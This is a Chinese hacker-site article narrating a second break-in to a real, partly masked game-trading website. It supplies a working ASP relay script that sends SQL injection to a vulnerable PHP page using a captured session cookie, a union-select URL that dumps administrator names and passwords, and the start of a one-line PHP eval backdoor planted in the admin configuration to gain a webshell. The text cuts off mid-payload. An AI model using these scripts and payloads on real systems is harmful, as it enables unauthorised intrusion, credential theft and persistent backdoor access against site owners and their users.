黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图

您现在的位置: 黑客风云 >> 黑客文章 >> 黑客进阶 >> 脚本入侵 >> 正文
·没有路由密码权限时的鸽08-23·上网安全 Vista自我防范10-11
·让濒临崩溃的Windows XP10-11·有备无患,快速自制救急10-11
·要你好看!Windows看图工10-11·空间赞助网提供不同类型10-11
·讨论net.exe和net1.exe的10-10·让3389远程桌面传输更通10-10
·巧妙入侵渗透赌博站10-10·Aspx空间扫权限工具10-10
·Windows2003最新提权工具10-10·易淘乐提供100M免费全能10-10
·系统开机密码忘了不着急10-09·中意网络提供免费100M免10-09
·与众不同 Windows XP开始10-08·让桌面图标翻跟斗 在XP上10-08
·上海宽元站长资助计划-提10-08·个性化Windows XP的任务10-07
·趣盘提供3G免费网络硬盘10-07·秀山热线提供200MB免费全10-07
·一次艰辛的提权过程10-06·成功入侵IT大卖场的渗透10-06
·mysqlhack- MYSQL利用工10-06·lanker一句话PHP后门客户10-06
·WIXI提供3G免费多媒体网10-06·新人网络提供100M/ftp免10-06
·如何利用QQ带来高流量10-05·UuShare提供免费网络文件10-05
[推荐]渗透某一游戏交易网
        ★★★★★

渗透某一游戏交易网

文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2008-9-24 11:10:52
在这次入侵之前我已经拿到过一次这个网站的shell了,但是被删除了,由于不甘心又拿了一次,才有了下面的过程
一: 踩点 收集信息
因为这个已经是第二次入侵,所以具体的信息我已经基本上掌握
服务器上13个站点,大多数站点很安全,因为第一渗透的时候,是由
http://www.shanXXX.XX  这个站进入的
我这个人比较恋旧,所以第二次也决定由这个站点进行入侵,
由后台看出这个站的程序是RAICO_V1[1].2_CS 如图1[attach]3280[/attach]
直接从网上down下来,读代码,当然这里的php代码 本人是非常的菜鸟,感谢我的好友jackal,他的脚本是相当的强悍,呵呵

二: 漏洞在哪里?它在灯火阑珊处
这个程序的漏洞文件是在post_task_review.php
由于过滤不严格导致注入,下面我会在文章中详细说明如何利用,
  首先在shan这个站注册个用户 并抓取登陆的cookie值,在到本地或者webshell上建立一个注入中转站的文件

内容如下

以下是引用片段:
<% 
JmdcwName=request("id") 
’ 注入中转站 POST 版,BY 寂寞的刺猬 [L.S.T] 
JmStr="task_subject=111&task_endday=1&task_starttime=2008-06-13+05%3A25%3A30&task_money=1&task_desc=1&addsubmit=%D4%A4%C0%C0&kind_id="&JmdcwName 
JMUrl="http://www.shanXXX.XX/post_task_review.php" 
JmRef="http://www.shanXXX.XX/post_task.php" 
JmCok="__utma=213560918.3117244849183171600.1213283730.1213293786.1213305387.4; __utmz=213560918.1213283730
.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmb=213560918.21.10.1213305387; __utmc=213560918; PHPSESSID=96b20d4edfe8477cf276aa639bfc31d3" 
JmStr=URLEncoding(JmStr)   
response.write  PostData(JMUrl,JmStr,JmCok,JmRef) 
Function PostData(PostUrl,PostStr,PostCok,PostRef)   
Dim Http 
Set Http = Server.CreateObject("msxml2.serverXMLHTTP") 
With Http 
.Open "POST",PostUrl,False 
.SetRequestHeader "Content-Length",Len(PostStr) 
.SetRequestHeader "Content-Type","application/x-www-form-urlencoded" 
.SetRequestHeader "Referer",PostRef 
.SetRequestHeader "Cookie",PostCok 
.Send PostStr 
PostData = .ResponseBody 
End With 
Set Http = Nothing 
PostData =bytes2BSTR(PostData) 
End Function 
Function bytes2BSTR(vIn) 
Dim strReturn 
Dim I, ThisCharCode, NextCharCode 
strReturn = "" 
For I = 1 To LenB(vIn) 
ThisCharCode = AscB(MidB(vIn, I, 1)) 
If ThisCharCode < &H80 Then 
strReturn = strReturn & Chr(ThisCharCode) 
Else 
NextCharCode = AscB(MidB(vIn, I + 1, 1)) 
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) 
I = I + 1 
End If 
Next 
bytes2BSTR = strReturn 
End Function 
Function URLEncoding(vstrin) 
strReturn="" 
Dim i 
For i=1 To Len(vstrin) 
ThisChr=Mid(vstrin,i,1) 
if Abs(Asc(ThisChr))< &HFF Then 
strReturn=strReturn & ThisChr 
Else 
InnerCode=Asc(ThisChr) 
If InnerCode<0 Then 
InnerCode=InnerCode + &H10000 
End If 
Hight1=(InnerCode And &HFF00) \&HFF 
Low1=InnerCode And &HFF 
strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1) 
End if 
Next 
strReturn=Replace(strReturn,chr(32),"%20") ’转换空格,如果网站过滤了空格,尝试用/**/来代替%20 
strReturn=Replace(strReturn,chr(43),"%2B")  ’JMDCW增加转换+字符 
’strReturn=Replace(strReturn,过滤字符,"转换为字符")  ’在此增加要过滤的代码 
URLEncoding=strReturn 
End Function 
%> 
之后浏览地址为http://localhost/jmpost.asp?id=1107%20and%201=2%20union%20select%20-1,concat(admin_name,admin_pw)%20from%20rco_admin/* 就可以直接爆出管理员的用户名和密码 如图2[attach]3281[/attach]

三: 获取webshell  拿到目标站的路径.
登陆后台,只能上传图片,抓包上传,截断 ,未能实现.
但是后台的配置那可以插一句话 a’";@eval(

文章录入:cainiaowang    责任编辑:xinlian 
【字体:
Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
ICP备案:冀06009886